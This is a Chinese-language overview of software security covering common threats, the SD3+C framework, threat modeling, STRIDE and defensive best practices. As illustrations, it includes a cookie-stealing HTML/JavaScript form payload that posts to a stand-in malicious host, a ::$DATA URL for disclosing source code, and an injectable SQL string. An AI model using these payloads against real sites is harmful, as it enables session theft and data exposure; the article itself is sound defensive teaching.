概述一下系统安全
一. 系统安全的重要性
随着互联网的普及以及软件不断增长的复杂性,软件应用的安全性需求也越来越紧迫了。互联网为攻击者提供了很多机会去连接到我们的应用去突破安全屏障――破坏系统,盗劫重要的数据,种入木马……最终可能给客户造成重大的损失。对于系统的安全防卫工作涉及到的人包括开发者,系统管理员和项目计划制定人,但往往这些涉众对安全问题都没有足够的认识,导致系统中存在很多安全漏洞,为别有用心之人留下了可乘之机。
1、 项目计划者。
可能对安全的认识非常薄弱,对可能对应用造成危害的安全威胁没有足够的认识;而有一些项目计划者,对安全有一定的认识,但不认为应该把安全作为应用的必要特性之一;好一些的项目计划者,对安全问题有相当的重视,但迫于工期等因素的限制,而对安全问题没有充分的考虑。
2、开发者
对可能存在的安全威胁没有很好地认识;或者对安全有了一定认识,但没有能很好地处理,代码中存在很多安全漏洞。
3、系统管理员
和开发者没有充分地交流,不了解如何适当地保护系统的安全。
2. 常见的安全威胁
2.1. Buffer Overrun
即缓冲区越界。比如,恶意用户通过输入超长的内容,导致没有对输入长度进行检查的C++代码缓冲区溢出,从而造成安全问题,可能被攻击者用来执行其恶意代码。解决办法很简单——对输入进行合法性检查——包括类型,长度等等。
2.2. SQL Injection
即SQL注入。这是一种非常常见的攻击方式。如果开发者在代码中直接执行诸如“select … from … where username=’”+username+”’ and password=’”+password+”’”这样的语句则存在安全隐患——会被攻击者以SQL注入手段进行攻击。
2.3. Cross-Site Scripting
即跨站脚本。可以被攻击者用来偷取Cookie,欺骗用户访问其个人网站等等。攻击者在输入栏中输入恶意脚本,就可能攻击成功。比如,恶意用户在讨论版输入如 <script>这样的标签,来在浏览者的浏览器中执行其脚本;或者使用<form>标签复位向个人信息。
2.4. Form-Based Attack
即基于表单的攻击。比如恶意用户输入如下的代码:
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www.nwtraders.msft/malicious.asp
method=post id=.idForm.>
<INPUT name=.cookie. type=.hidden.>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
here
</a>
能将用户的Cookie中的数据偷走。
2.5. Canonicalization
即利用规则攻击。主要的体现就是文件名,URL,还有服务器名,用户名——主要就是和那些多个名称对应一个资源的情况有关。一个例子就是恶意用户可以输入这样的URL:http://www.someSite.com/default.asp::$DATA来得到此文件的源代码。
3. SD3+C Framework和Threat Modeling
3.1. SD3+C Security Framework
-
Secure by design——从项目开始就考虑安全问题,把安全作为产品的必要特性之一。设计时考虑安全问题,分析会有哪些安全威胁,建立威胁模型和安全架构,以减少安全弱点。
-
Secure by default——意味者产品分发出去就是安全的。如果某个特性不是必须的,则关闭此特性,因为特性越多,攻击者能攻击的点就越多。
-
Secure in deployment——即安装产品后,很好维护,管理员能容易地配置权限。
-
Secure by communication——建立清晰简练的文档,文档中说明如何处理各种可能遇到的安全威胁。
3.2. 在产品开发生命周期中应用SD3+C Framework
解决安全问题不是一步到位的,是一个反复迭代,在产品的整个生命周期都必须重视的问题。
设计阶段
在产品开发的设计阶段就将安全考虑在内是至关重要的。不能把安全当作产品的一个无关经要的方面或者一个不重要的任务。相反,应该在应用的方方面面都考虑到安全问题,构建威胁模型以鉴别存在哪些安全威胁。在项目的初始阶段,需要令整个团队都对安全问题有足够的认识——先提一些关于安全的问题,以了解成员对安全问题的认知程度,然后可以做一些针对性的更加深入的培训。在设计的时候,需要确定目标客户和他们的安全需求,以及可以降低对系统的安全威胁。当有了一个良好的、充分考虑安全问题的和细致的设计后,可以找安全专家来对设计进行评审。
开发阶段
本阶段主要是编码和调试。开发者应该能对通常的安全问题有足够的认识,编写代码的时候能够考虑到如何避免出现那些常见的安全漏洞。可以制定一个简洁的开发规范,指导开发者如何编写安全的代码(比如验证输入和加密)。当然需要有code review来保证代码的质量。
测试阶段
测试的时候需要对安全问题做针对性的测试。测试人员充当攻击者来攻击系统,以检验系统是否足够安全。
部署和维护阶段
部署后的应用应当是安全的。而且需要制定适当的计划以应对产品交付后发现的安全漏洞。对开发者进行培训,令其能发现类似的安全漏洞,并且即时地发行补丁包。
3.3. Threat Modeling
威胁模型就是对产品进行的基于安全的分析,它系统地鉴别和评估可能攻击系统的威胁,能帮助设计师定义设计规格中的安全方面的特性。威胁模型强调你不能构建一个安全的系统,除非你对系统所面临的安全问题有清醒的认识。威胁模型也表明对安全问题处理得越早,那花费代价就越小;如果到了即将交付的时候再去考虑安全问题,那花费的代码将是巨大的。建立安全模型有很多好处:
1、 减少在安全问题上的投资
2、 提供一个合理的,有效的过程。
3、 帮助开发团队系统中哪里是最薄弱的环节(最容易被攻击的地方),以及有哪些威胁需要处理的——降低或者消除安全威胁。
更多内容请看MSDN。
3.4. 建立Threat-Modeling的过程
建立威胁模型的过程是一个反复迭代的过程。具体步骤为:
1、 明确需要保护的资产。也就是要知道需要保护的是哪些东西。
2、 建立一个架构图。在第一步完成后,需要将应用的功能、架构、物理部署配置和采用的技术记录到文档中。找到应用中可能的安全弱点。需要做三件事情:(1)确定应用需要做的事情(2)建立架构图以描述应用的组成和结构,以及子系统和物理部署上的特点。具体做的时候,如果应用非常复杂,我们可以使用多个图来表现上面所说的内容,每个图表现某一个方面。(3)确定采用的技术。由于一些安全漏洞和使用的技术是密切相关的,所以确定了采用的技术后,我们就能更清楚地了解需要面对哪些安全问题——比如使用c++,我们需要考虑buffer overrun的问题,使用asp.net(asp)需要考虑crossing-script的问题。
3、 分解应用。需要做五件事情:(1)鉴别信任边界。确定受保护资产的信任边界。(2)确定数据流。自顶向下,通过分析子系统之间的数据流来分解系统。(3)确定入口点。比如一个供访问的Web页面。(4)确定特权代码。特权代码是指那些访问重要资源且执行一些特权操作的代码。比如访问数据库的代码。(5)文档化安全概要。确定设计和执行如何进行输入检查、验证、授权和配置管理的方法和步骤,说明系统容易受到攻击的薄弱点。
4、 鉴别威胁。
明确可能有哪些威胁会影响到系统和危及资产的安全。一个简单有效的办法就是把开发团队成员和测试人员召集到一起进行头脑风暴式的会议,讨论并记录会有哪些安全威胁。这里需要做三件事情:(1)鉴别网络威胁。分析网络拓扑以找到薄弱点。
(2)鉴别主机威胁。比如服务、协议、帐户、文件※文件夹、共享、端口和日志等等。
(3)鉴别应用威胁。比如特定技术的威胁和代码威胁。
5、 将威胁记录到文档中。
6、 评估威胁。
比如对各个威胁进行打分以区别其重要程度。
3.5. 将威胁分类以应对之
在鉴别和评估威胁后,下面就需要考虑如何减轻这些威胁——让我们的应用能够抵御已知的攻击。这需要分两步来做:(1)确定有帮助的技术(2)采用合适的技术。
STRIDE——将威胁分类并且可以采用的技术:
1、 Spoofing(欺骗)。使用他人的验证信息进行不法访问。比如攻击者使用SQL注入来绕过验证,并且使用数据库管理员的角色来执行操作。应对技术有:(1)合适的验证机制。(2)保护私秘数据。(3)不保存秘密。
2、 Tampering with data(修改数据)。即非法修改数据。比如可以中途截获数据包,进行修改后再发送。应对技术有:(1)使用合适的验证机制。(2)使用Hash摘要或者MAC(消息验证码)。(3)数字签名。(4)使用抗修改的协议,比如SSL。
3、 Repudiation(抵赖)。应对策略有:(1)数字签名。(2)时间戳。(3)审计跟踪。
4、 Information disclosure(信息暴露)。应对技术有:(1)验证。(2)使用私秘协议。(3)加密。(4)保护秘密。(5)不保存秘密。
5、 Denial of service(拒绝服务)。(1)使用合适的验证机制。(2)使用过滤。(3)节流。比如限制每个连接能使用的带宽。
6、 Elevation of privilege(提升权限)。应对策略:使用最小权限。
系统安全的一些最佳实践
4.1. 以最小权限运行
这是一个众所周知的一个关于安全的教条了——以刚好够用的权限运行系统,而千万不要给予过多的权限。如果应用系统只是以很小的权限运行,那即使遭受了攻击,那造成的破坏也会比使用超级权限运行要小得多。
4.2. 缺省安全
对于开发者,一个困难但是非常重要的目标就是使得系统是缺省安全的。一些具体做法为:默认给予系统最小的权限;默认情况下只开启最必须的Service,那些很少使用的Features最好默认是不启用的,否则会增加被攻击的点;限制那些可选的接口的数量;避免模块和类之间存在过多的耦合,使得接口尽可能地简单;除非绝对必要,不要定义公共方法,而只定义最小数量的公共方法(可以使用façade模式——低层接口只能被高层接口调用,而高层接口只定义很少的公共方法,这样就减少了攻击者能攻击的面)。
4.3. 验证输入
具体可以参考:实现代码安全
4.4. 防护措施
1、 多层防护系统。人很容易犯错误,所以只有一层防范是不够的,而应当建立多层的防范体系,层层保护以获得更高的安全。比如internet通信链路使用SSL保护,Web Server使用防火墙保护,IIS上和操作系统都设置安全屏障,使用一个IPSec防火墙来保护数据库服务器,如此层层保护必然提高了安全性。
2、 在软件系统内设置多层防护。但是,任何事情都有两面性,安全防护越多,性能必然越低,所以实际中可能需要一个权衡。我们基于建立的威胁模型来设置这些软件防护层,把需要做防护的地方列出优先级,以帮助做权衡。
3、 使用ACL(访问控制列表)。我们可以使用ACL保护诸如文件、文件夹、Web页面和注册表等重要资源。
4.5. 其它的一些做法
1、 不要信任未知的东西。只有在验名了来人的身份后,才能授予相应的权限。
2、 不要保存秘密信息。保存秘密信息(比如密钥)很可能被攻击者窃取。
3、 使用操作系统提供的的DPAPI(Data Protection Application Programming Interface)—— 一个保护密钥的对策。DPAPI使用用户的登录密码加密和解密数据。数据保护过程——(1)生成一个强健的Key,称为主钥,它受用户的密码保护;(2)使用基于口令的密钥生成过程由用户密码生成一个密钥;(3)这个由口令生成的密钥用来加密主钥,它被存储在由计算机上的活动目录生成的用户概述中。安全地存储登录证明,比如用户名和密码,在磁盘上,是安全应用地一个重要方面。DPAPI是一个系统提供的数据保护服务,是一个安全地存储用户证明的解决方案。
4、 安全的处理错误和异常。即使系统发生了异常和错误,系统也不应该崩溃,而应该安全地停止运行。
5、 对系统的安全特性进行严格的测试。
6、 从错误中获取知识和经验。学会总结经验教训,以避免再犯。
7、 不断学习安全相关的知识。
攻击者的攻击手段不断出新,要让我们的系统更加安全,我们有必要了解最新的动态。而且可能已有的认为安全的技术存在安全漏洞,倘若被攻击者发现这些漏洞,我们的系统也变得不安全起来。